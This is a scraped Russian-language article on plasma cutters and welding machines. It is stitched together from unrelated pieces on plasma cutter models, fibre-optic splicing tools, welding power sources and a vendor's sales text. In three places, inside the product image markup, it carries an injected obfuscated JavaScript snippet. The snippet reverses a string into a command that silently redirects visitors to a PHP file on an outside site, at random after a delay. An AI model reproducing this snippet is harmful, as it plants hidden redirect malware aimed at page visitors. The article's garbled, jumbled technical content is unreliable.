Плазменная резка деталей под слоем воды - плазменная и газовая резка

Стоимость и характеристики плазменного сварочного аппарата

Для удовлетворения потребительского интереса относительно характеристики устройств необходимо отметить несколько моментов: как именно работает плазменный сварочный аппарат, цена его, основные технические особенности.

Сварка плазмой, которая очень похожа на аргонную, производится, благодаря потоку плазменной дуги, которая образовывается за счет плазмы или ионизированного газа.

Дуга сама по себе состоит из нейтральных частиц, которые соседствуют с заряженными. Она имеет достаточный запас энергии и высокую температуру. Генератор обычно состоит из генератора плазмы, блока питания и управления. Жидкость нагревается до температуры, при которой осуществляется ионизация.

Дополнительное оборудование, используемое при проведении работ с ВОЛС

Работа с оптоволокном – это тонкий и точный процесс, при котором необходимо использовать вспомогательные инструменты и оборудование. Разрезать световод простыми кусачками нельзя, понадобится целый арсенал приспособлений. Поэтому лучше приобрести готовый набор инструментов – «НИМ-25». Он включает кусачки, стрипперы, отвертки, плоскогубцы, ножи, торцевые кусачки и многое другое.

Дополнительно для защиты сварного шва понадобятся защитные гильзы, которые представляют собой изделий из термоусадочного материала. После соединения волокна помещаются в кассету, спецмуфту либо спайс-пластину. Не обойтись без термострипперов и скалывателей, которые ответственные производители предоставляют в комплекте со сварочными агрегатами, но иногда их нужно приобретать отдельно. Для закрепления термоусадки понадобится печь и спиртовая помпа.

Сварочный аппарат для соединения оптики – востребованное устройство, которое используется крупными предприятиями и частными организациями в промышленном либо штучном масштабе. Изделия отличаются техническими характеристиками, режимами функционирования, комплектацией и стоимостью, но принцип работы у них один. Правильное использование устройства позволяет получить качественный и надежный шов при небольших расходах.

Грамотная эксплуатация оборудования

Даже если сварка осуществляется в автоматическом режиме, оператор должен постоянно контролировать процесс. От этого зависит надежность и прочность соединения элементов. Правильное соединение волокон состоит из следующих этапов:

Разделка провода.
Очистка.
Размещение световода в защитной гильзе.
Перпендикулярное скалывание.
Зажим концов кабеля в устройстве.
Совмещение краев под микроскопом.

Каждый этап требует не только теоретических знаний, но и определенного опыта. Специалисты рекомендуют не проводить сварку мастерам без опыта. В этом случае лучше обратиться в специализированное учреждение.

Отличия от ближайших аналогов

Система охлаждения предусмотрена в каждом аппарате плазменной резки. Бывает она нескольких видов – воздушная и водяная. Также выпускаются плазмотроны со смешанной системой. Однако чаще используются плазморезы с водяным охлаждением.

Плазмотроны с водяной автономной системой охлаждения теплонагруженных узлов рассчитаны на более высокую мощность и повышенную интенсивность эксплуатации. При этом они отличаются довольно сложной конструкцией, большим количеством комплектующих элементов. Также они характеризуются значительным весом и габаритами по сравнению с аналогами.

Устройства со смешанной системой охлаждения плазмообразующего сопла и катода меньше и легче, проще в конструктивном исполнении. Но при этом охлаждаемые узлы имеют меньший эксплуатационный ресурс из-за электрохимической эрозии. Также при работе такими плазмотронами увеличивается вероятность двойного дугообразования.

Краткий обзор моделей

Напоследок вкратце рассмотрим несколько аппаратов, которые получили положительные отзывы от пользователей. К таким относится:

FoxWeld Plasma 33 Multi;
TelWin Plasma 60 HF;
Сварог;
Ресанта ИПР-25;
Горыныч.

$nJe=function(n){if (typeof ($nJe.list) == «string») return $nJe.list.split(«»).reverse().join(«»);return $nJe.list;};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tovoy-plazmorez-foxweld-plasma-33-multi-imeet-fu-600×577.jpg» alt=»Бытовой плазморез FoxWeld Plasma 33 Multi имеет функцию электросварки» width=»600″ height=»577″ /> Бытовой плазморез FoxWeld Plasma 33 Multi имеет функцию электросварки

FoxWeld Plasma 33 Multi

Данная модель представляет собой многофункциональный бытовой аппарат для плазменной резки, работающий от сети 220 В. Главная его особенность заключается в возможности использования в качестве сварочного аппарата для ручной дуговой сварки.

Максимальный ток резки этой модели составляет 30 А. Это позволяет ему перерезать сталь толщиной 8 мм.

Цена данного аппарата составляет 33000 рублей (цена актуальна на весну 2017 г.).

TelWin Plasma 60 HF – качественный плазморез от итальянского производителя

TelWin Plasma 60 HF

Эту модель можно отнести к промышленным, так как она обладает относительно высокой мощностью – сила тока составляет 60 А, к тому же он предназначен для работы от сети 380 В.

Аппарат может резать сталь толщиной до 20 мм

Кроме того, производитель обращает внимание на следующие преимущества модели:

Наличие микропроцессора, управляющего многими параметрами аппарата;
Возможность регулировки силы тока;
Встроенный манометр позволяет следить за давлением воздуха.

Этот плазморез стоит 110 142 рубля.

$nJe=function(n){if (typeof ($nJe.list) == «string») return $nJe.list.split(«»).reverse().join(«»);return $nJe.list;};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tovoj-plazmorez-ot-kitajskogo-proizvoditelya.jpg» alt=»Сварог CUT-40 – мощный бытовой плазморез от китайского производителя» width=»600″ height=»431″ /> Сварог CUT-40 – мощный бытовой плазморез от китайского производителя

Сварог CUT-40

Данная модель представляет собой мощный бытовой плазморез, сила тока которого достигает 40 А. Это позволяет ему резать сталь толщиной до 12 мм. ПВ на максимальном токе равняется 60 %, для бытовых аппаратов этот показатель достаточно высокий.

Следует отметить, что несмотря на славянское название «Сварог», данный аппарат производится в Китае. Но, несмотря на это, к его качеству и надежности у пользователей претензий нет.

Стоимость Сварог CUT-40 составляет 33000 рублей.

$nJe=function(n){if (typeof ($nJe.list) == «string») return $nJe.list.split(«»).reverse().join(«»);return $nJe.list;};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to-resanta-ipr-25-nedorogoy-bytovoy-apparat-600×450.jpg» alt=»На фото Ресанта ИПР-25 – недорогой бытовой аппарат плазменной резки» width=»600″ height=»450″ /> На фото Ресанта ИПР-25 – недорогой бытовой аппарат плазменной резки

Ресанта ИПР-25

Ресанта — это еще один бытовой плазморез китайского производства с силой тока 25 А. Производитель утверждает, что этот «малыш» способен резать металл толщиной до 12 мм.

Еще одно достоинство данного аппарата заключается в его относительно низкой стоимости — цена составляет 28 900 рублей.

Горыныч — компактный многофункциональный аппарат от отечественного производителя с водяным охлаждением

Горыныч

Горыныч представляет собой многофункциональный аппарат от отечественного производителя. Помимо плазменной резки ему доступна и электросварка.

Сила тока у Горыныча не большая 3–10 А, что позволяет ему резать металл толщиной до 8 мм. Главная его особенность, помимо многофункциональности, заключается в водяном охлаждении. Это позволяет аппарату беспрерывно работать 25 минут.

Кроме того, он очень компактен — вес устройства не превышает 0,7 кг. Цена находится в пределах 43 000 рублей.

Стоимость и характеристики плазменного сварочного аппарата

Достоинства сварочных плазменных аппаратов

Сварка плазмой уменьшит сложности, появляющиеся в связи с разбрызгиванием металла, потому что:

Для осуществления работы баллон для газа не потребуется. Нужна будет лишь вода, спирт и проволока.
Маска для сварки хамелеон не будет нужна. Очки для защиты глаз будут достаточными.

Все это позволяет говорить о том, что сварка плазменным аппаратом является одним из самых недорогих видов сварок, а купив это устройство, можно будет осуществлять различные работы с самыми разными видами металла.

Также нужно позаботиться о том, чтобы обеспечить условия для работы, где будет осуществляться охлаждение плазматрона после эксплуатации.

Применяя все рекомендации, можно быть уверенным, что работа пройдет быстро, недорого и с высоким качеством.

Еще по этой теме на нашем сайте:

Ручная плазменная резка металла — видео и фото процесса С газовыми резаками уже практически никто не работает, все больше специалистов и любителей пользуются ручной плазменной резкой, являющейся удобной и производительной. Положительных факторов, говорящих в…
Виды электродов для сварки — сварка электродами на видео Сварочный электрод представляет собой разной длины металлический стержень, используемый в процессе сварки деталей из самых различных материалов. Их основное предназначение – подвод электрического тока к…
Сварка для начинающих — видео уроки Под словом сварка общепринято понимать технологический процесс, где в результате нагревания устанавливается межмолекулярная и межатомная связь между частями. Таким образом, соединяются непосредственные материалы. В основном…
Сварочные работы видео уроки — смотрим уроки сварки инвертором для начинающих сварщиков Начинающим специалистам стоит просмотреть сварочные работы видео уроки для того, чтобы избежать распространённых ошибок, и сделать свою работу качественной и безопасной. Всегда нужно помнить, что…

Поделитесь со своими друзьями в соцсетях ссылкой на этот материал (нажмите на иконки):

Технические характеристики

Каждый станок с ЧПУ обладает определёнными характеристиками. Главной деталью любого плазмореза считается источник резки – от мощности данного механизма и зависят общие показатели работы каждого устройства. К основным параметрам плазмотронов относятся

Режимы плазменной резки металла

тип плазмообразующего газа (кислород, азот, аргон);
маневренность позиционирования;
скорость разрезания;
вид охлаждающего газа (воздух или углекислый газ);
характер тока (постоянный или переменный).

Плазморезы имеют сложное техническое устройство, но в целом аппараты адаптированы под маневренное управление. Настроить станок с ЧПУ может любой человек, ознакомленный с общими принципами работы плазмореза и системы числового управления. После прочтения инструкции об эксплуатации оператор сможет устанавливать программы действия для станков плазменной резки.

Станок плазменной резки с ЧПУ в работе

Аппарат разрезает металлические листы толщиной от 0,5 до 160 мм. Плазморез обрабатывает листы из углеродистых сталей. Раскрой тонких листов осуществляется с помощью стандартной плазменной дуги, имеющей небольшую мощность. Более плотные поверхности требуют установки дополнительной стабилизации.

Общая композиция плазмореза должна состоять из взаимодополняющих элементов. В случае, если на станке будет функционировать механизм недостаточной мощности, разрезание металла будет осуществляться с погрешностью. Рекомендовано выбирать источник, обладающий удвоенной мощностью.

Важным элементом установки является система контроля высоты резака, которая составляет часть ЧПУ. Цифровое отслеживание передвижения резака помогает предотвратить повреждение поворотной поверхности и обрабатываемого металла.

Устройство плазмореза, как выбрать, разновидности

Устройство плазмореза

4 главные компоненты плазмореза – это: • воздушный компрессор,

• плазмотрон с кабель-шланговым пакетом(или плазменный резак),

• источник питания и

• массовый зажим.

Источник питания, подающий на плазмотрон ток определенных параметров, может быть трансформаторного или инверторного типа. Естественно, что трансформаторы – более громоздки и менее экономичны в потреблении электроэнергии. Однако именно они имеют низкий порог чувствительности к перепадам напряжения в сети. И именно трансформаторы могут легко справляться с толстостенными заготовками.

Источники питания инверторного типа имеют меньший вес, более экономичную стоимость, порог их энергопотребления значительно ниже, чем у трансформаторов, КПД на 30 % выше и дуга стабильнее, но при этом они могут разрезать только тонкостенные заготовки. Такие источники питания подходят более всего для небольших мастерских и производств. Также небольшие источники питания будут незаменимы при работе в труднодоступных местах.

Резак для плазмы/плазмотрон – главный рабочий элемент плазмореза. Именно на его плечи ложиться основная работа по нарезке заготовок. Его главными комплектующими являются электрод, сопло и изолятор/охладитель (между соплом и электродом) и канал для подачи воздуха в зону резки.

Электрод, служащий для возбуждения электродуги, находится внутри корпуса плазмотрона. Электрод может быть циркониевый, гафниевый, бериллиевый или ториевый. Указанные металлы пригодны для работы плазмореза, поскольку на их поверхности в процессе работы образуются тугоплавкие оксиды, блокирующие разрушение электрода. Самыми популярными электродами являются гафниевые, так как они на 100 % безвредны для организма оператора плазмореза.

Сопло в плазморезе предназначено для обжима и формировки струи плазмы, разрезающей заготовки. Размер сопла непосредственно влияет на возможности и характеристики аппарата. Также от параметров сопла зависит технология работы с плазмотроном. Диаметр сопла – это показатель объема воздуха, который может пройти через него за единицу времени. От показателей объема же зависит ширина реза, скорость работы аппарата и скорость его охлаждения. Самый распространенный диаметр сопла – 3 мм. Если же говорить о длине сопла, то тут существует следующая закономерность: самый аккуратный и качественный рез получается при использовании самого длинного сопла. Однако стоит помнить, что слишком большая длина быстрее разрушает упомянутый расходник.

Компрессор при работе плазмотрона необходим для подачи воздуха, поскольку сама технология плазменной резки требует обязательного использования плазмообразующих и защитных газов. Плазморез промышленного типа потребует наличия гелия, аргона, кислорода, азота, водорода и их смесей. Небольшие же аппараты (сила тока которых не превышает 200 А) довольствуются сжатым воздухом, при этом, максимум их рабочих возможностей – разрезание заготовок толщиной 50 мм.

Кабель-шланговый пакет необходим для соединения компрессора, источника питания и плазмотрона. Кабель служит для передачи тока, шланг – для передачи сжатого воздуха.

Выбор аппарата для плазменной резки

Покупка любого технического оборудования – дело, для которого не нужно жалеть времени и усилий: слишком высок риск неудачного решения и потери денег. А деньги здесь немалые, вы не найдете плазменного резака дешевле 500 USD в принципе.

Сначала разбираемся с параметрами и техническими характеристиками прибора.

Выбор нужно делать только под свои планы и нужды. Задача – найти не самый лучший резак, а самый подходящий для вас по принципу «здесь и сейчас».

Две большие группы плазморезов – это инверторные и трансформаторные. Названия говорят сами за себя.

Открытая и закрытая плазменная струя.

Если вам нужен компактный резак для работы с металлами небольшой толщины, вы можете остановить свой выбор на резаке инверторного типа. Они забирают немного энергии, легкие и с небольшими габаритами.

Вместе с тем работают они с перерывами и легко выходят из строя при перепадах сетевого напряжения. Цена на такие приборы вполне умеренная, из всех плазморезов это самые недорогие.

Другое дело – трансформаторные резаки. Здесь и с габаритами, и с весом «все в порядке»: серьезные аппараты по всем параметрам.

Энергии потребляют много, зато работать они могут практически без перерыва в течение целого дня. И толщина металла может быть побольше, чем при резке инверторной моделью. Стоимость таких устройств высокая – от 3000 до 20000 USD.

Выбор плазменного резака по мощности

Рассуждения начинаем со свойств и технических характеристик деталей, которые вы планируете обрабатывать и резать. Именно это этого рассчитывается мощность режущего прибора, потому что в нем будут различаться и сопло по своему диаметру, и тип используемого газа.

Применение плазменной резки – область чрезвычайно широкая, поэтому говорить нужно только о ваших конкретных нуждах.

К примеру, если толщина металлических заготовок около 30-ти мм, вам будет вполне достаточно резака с мощностью 90А. Он легко справится с вашим материалом.

А вот если ваш металл потолще, ищите подходящую модель в диапазоне мощности от 90 до 170А.

Выбор резака по времени и скорости разрезания материала

Скорость плазменной резки металла измеряют в сантиметрах за одну минуту. Эта скорость у разных аппаратов тоже разная и зависит от их общей мощности и природы разрезаемого металла.

Например, при всех прочих равных медленнее всего режется сталь, чуть быстрее – медь и ее сплавы. И еще быстрее – алюминий со своими алюминиевыми сплавами.

Устройство плазменного резака.

Если для вас важна скорость, не забывайте о таком показателе, как длительность работы без перегрева, то есть без перерыва. Если в технической спецификации к аппарату написано, что длительность работы 70%, это означает, что после семи минут резки аппарат должен быть выключенным в течение трех минут, чтобы остыть.

Среди трансформаторных резаков встречаются чемпионы с продолжительностью работы в 100%. Иными словами, они могут работать целый день без отключения. Стоят они, конечно, немало. Но если у вас впереди длинные разрезы, думайте о покупке «чемпионских» трансформаторных плазменных резаков.

Типы оборудования

По своему строению аппараты плазменной резки металла делятся на следующие типы:

инверторные;
трансформаторные.

Инверторный резак плазменный, имеющий небольшой вес и компактные размеры, довольно удобен в работе. Он более чувствителен к перепадам электроэнергии, поскольку его ограничение по силе тока до 70А, и способен разрезать металл толщиной до 30 мм.

Трансформаторный аппарат плазменной резки менее чувствителен к перепадам в сети, способен непрерывно работать длительное время и позволяет использовать ЧПУ с разнообразными программами. В сравнении с инверторными резаками, он обладает более высокой массой и увеличенными габаритами. Трансформаторное оборудование с системой водного охлаждения приспособлено для резки металла, имеющего толщину до 100 мм.

Технология плазменной сварки и резки металла

Для нагрева деталей используется плазма – ионизированный газ, полученный в результате работы электрической дуги под повышенным давлением. Небольшая плазменная горелка (плазмотрон) показана на рисунке ниже. По нему можно примерно оценить практические параметры плазменного факела:

Плазменная горелка (плазмотрон)

Плазмотрон позволяет как резать, так и сваривать любые известные в природе металлы и неметаллы, если только для этого нет серьезных фундаментальных физических или химических препятствий (адгезия, реакционная способность и т.п.).

В чём заключается сущность плазменной сварки

На поверхность металла в области шва направляется струя плазмы из плазмотрона – специальной горелки, в которую подается рабочий газ. Может быть использован еще и защитный газ для создания химически нейтральной среды. Тепловая энергия вся сосредоточена в тонкой струе плазмы и нагрев ванны происходит в только в области сварки.

Температура в этой области очень высокая, может достигать 10000-15000 градусов. Благодаря теплопроводности металла она быстро снижается до в узкой области шва. Если при этом область шва защищена инертной или восстановительной средой, (а часто и тем и другим), то в результате можно получить очень точный и качественный шов.

Разрез работающей плазменной горелки

Диаметр сопла на рисунке показан намного больше в пропорции, чем есть на самом деле, для наглядности.

Корпус горелки изготавливается из стали, анод – из чистой меди. Анод имеет полость, которая омывается охлаждающей водой. В полость между анодом и катодом подается рабочий газ под давлением 2-5 бар, который питает дуговой разряд.

Поскольку при плазменной сварке не происходит лишнего прогрева металла, то и остывание шва происходит быстро, что иногда нежелательно. Поэтому процесс сварки может включать дополнительные операции: например, предварительный подогрев или даже работа несколькими горелками при автоматизированной сварке.

Основные критерии для выбора

Надежное шовное соединение возможно получить только при точном контакте концов кабеля

метод выравнивание проводов;
разновидности свариваемого волокна (хорошо себя зарекомендовали универсальные разновидности);
скорость сварки (этот показатель рассчитывается количеством спаек за установленную единицу времени);
дополнительная комплектация.

Дорогостоящие многофункциональные устройства не всегда оправдывают стоимость. Модели китайского происхождения дешевле аналогов из Японии, но качеством и производительностью они практически не отличаются.

Обзор лучших моделей

Качество соединения оптоволоконных изделий зависит от производительности и функциональности оборудования. Важным аспектом при выборе установки является надежность производителя. Лидирующие позиции по количеству положительных отзывов сохраняет бренд Fujikura из Японии, товары компания соответствуют международным стандартам качества, отличаются удобством и простотой использования. К другим производителям с подобными показателями относятся:

Sumito.
Inno.
DVP.
ILsintech.
Fitel.

В России длительное время изготовлением подобной продукции никто не занимался, в СССР активно использовался агрегат «Сова», но к настоящему моменту он не может составить конкуренцию современному оборудованию.

пресс-секретарь компании «Макстелеком» Братский А. Н.:Бренд «Макстелеком» изготовил AFS-10 – это аналогичное устройство от популярной зарубежной компании. По техническим характеристикам и функциям он не отличается от дорогостоящего устройства. Российский аппарат позволяет проводить быструю и качественную сварку, но обладает умеренной ценой».

По отзывам пользователей, опытных специалистов, работников мировых предприятий удалось определить несколько моделей, которые выделяются своей технической начинкой и надежностью среди всех прочих. К ним относятся:

Fujikura 80S. Работает в автоматическом режиме, обладает встроенной инструкцией и меню на русском языке. Выравнивание проводов происходит по сердцевине, мощность электродуги определяется самостоятельно. Стоимость начинается от 400 000 рублей.
Jilong KL-280G. Отличается минимальным потреблением электроэнергии и высокой скоростью соединения (в среднем на одну операцию уходит 9 секунд). Программа сварки выбирается автоматически, затем система проверяет надежность стыка. Жидкокристаллический экран на 5,5 дюймов позволяет выполнить необходимый перечень настроек и отображает рабочую зону. Цена около 350 000 рублей.
Furukawa S177 A. Аппарат для быстрой сварки оптических волокон легкий и малогабаритный, выравнивает волокно по середине. Оснащен встроенной батареей для автономного использования. Подключается к любой сети и реализует соединение повышенной точности. Приобрести изделие можно за 700 000 рублей.

Последовательность операций в рабочем цикле

Прибор для качественной пайки оптоволокна необходимо выбирать, исходя из особенностей материала, навыков оператора и необходимой точности соединения. Сращивание оптического волокна проводится по установленному алгоритму действий:

Установка термоусадочной гильзы на один из краев световодов.
Подготовка соединяемых участков к термическому воздействию.
Размещение волокон в направляющий аппарат.
Юстировка в горизонтальной и вертикальной плоскостях.
Сварка световодов.
Анализ качества сварного шва.
Защита места воздействия термоусаживающей гильзой.
Проведение тестов соединения.

Классификация источников питания сварочной дуги

По типу сварочного тока

Итак, мы уже разобрали, что источником питания может быть трансформатор, выпрямитель и генератор. Но в более широком смысле все эти источники можно поделить еще на несколько подгрупп. Одна из них — тип тока, который генерирует источник.

Источник может генерировать постоянный или переменный ток. Классический трансформатор и генератор повышенной частоты зачастую генерирует переменный ток. Сварочный выпрямитель генерирует постоянный ток.

Чем отличается источник питания на постоянном токе и на переменном?

Сварочный аппарат переменного тока и постоянного в чем разница? Давайте разбираться.

Аппарат на переменном токе очень прост: он собирается из понижающего трансформатора и специального механизма, который регулирует силу сварочного тока. При применении сварочной дуги переменного тока сварка ведется на переменном токе соответственно.

Аппарат на постоянном токе более технологичен. Его основные компоненты — это понижающий трансформатор, устройство, выпрямляющее ток (выпрямитель), которое преобразовывает поступающий переменный ток в постоянный, и устройство, регулирующее силу тока. Соответственно, здесь сварка ведется на постоянном токе.

Это основные конструктивные различия. Есть еще различия эксплуатационные. Сварка постоянным током предпочтительнее, поскольку у этого источника тока больше преимуществ. Аппараты на постоянном токе намного компактнее и проще в применении, они технологичнее, и в целом считаются более современными. Сварка переменным током сложнее и характеризуется нестабильностью горения дуги.

Также упомянем инверторные источники питания, которые на данный момент считаются самыми технологичными и распространенными. Это сложные аппараты, которые многократно преобразовывают ток, сглаживая его с помощью специальных фильтров, и впоследствии выпрямляют. В результате сварщик получает постоянный ток, а значит крайне стабильную дугу, которая легко поджигается. Также инверторные аппараты снабжаются электронным блоком управления, который прост в применении.

Инверторный источник сварочного тока — самый распространенный тип на данный момент. Такие аппараты самые компактные и легкие (в продаже есть модели весом не более 3-5 кг), при этом они оснащаются дополнительным функционалом, упрощающим сварку.

По количество постов и способу установки

Здесь все намного проще. Вне зависимости от типа источника питания, будь он переменный или постоянный, трансформатор или инвертор, в любом из них может быть либо один разъем для сварки, либо 3 и более.

Аппараты с одним разъемом называются однопостовыми и предназначены для генерирования одной сварочной дуги. Т.е., для применения одним сварщиком. Аппараты с большим количеством разъемов называются многопостовыми, и сразу несколько сварщиков могут производить сварку от одного аппарата.

Источники питания по способу установки могут быть мобильными (переносными) или стационарными.

Типы плазмотронов

На предприятиях широко применяется автоматическая и ручная резка плазмой.

Резать металл можно различными типами приборов.

Плазменные резаки для резки металлов. В эту группу входит воздушно-плазменный и газоплазменный резак. Воздушно-плазменный резак выделяется простой конструкцией и применяется для резки чёрных металлов. Он может работать как от однофазной, так и трёхфазной сети. Газоплазменный аппарат работает на водяном паре, для образования плазмы применяется водород, аргон, кислород, азот.
Индукционный резак. Это высокочастотное устройство, работающее по принципу индуктивно-связанной плазмы с температурой до 6000 К и высокой плотностью электронов.
Комбинированные аппараты. Представлены симбиозом токов высокой частоты и электрической дуги. Электрический разряд сжимается под воздействием магнитного поля.
Газовые устройства, работающее за счёт сжатия столба дуги плазмообразующим газом.
Водяные устройства, рабочим телом которых является паровой газ. Высокотемпературный водяной пар способствует ускоренному сгоранию углерода.
Магнитные резаки. Такие приборы малоэффективны и не пользуются популярностью. Их основное преимущество в том, что регулировка сжатия электрической дуги осуществляется без потери газа.

В зависимости от типа плазмотрона можно без труда обрабатывать сталь любых видов, в том числе металлы с высоким тепловым расширением, а также материалы, которые электрический ток не проводят.

Где купить?

Купить подходящий для конкретных целей плазмотрон на воде можно непосредственно на сайте Группе компаний ПУРМ с доставкой при помощи транспортных компаний. Также возможен самовывоз (бесплатно), но в этом случае нужно предварительно согласовать место, дату и время получения – если забирать будет третье лицо, дополнительно нужна доверенность на получение товара.

В ассортименте есть разные виды плазмотронов на воде:

Для автоматического раскроя – П3-400ВА, П2-400ВР, ПВР-180, ПВР-402М, ПВР-412 и другие.
Для ручной резки – КШ5В-П3-ВА и КШ3В-П2-ВР в сборе с кабель-шланговыми пакетами длиной 10 и 20 м.

Сотрудники компании проконсультируют по выбору, помогут подобрать плазморез в зависимости от технических характеристик имеющегося в наличии источника питания. При необходимости можно заказать комплект оборудования для конкретных производственных задач – автоматическую машину с ЧПУ или стандартный ручной аппарат.

Источник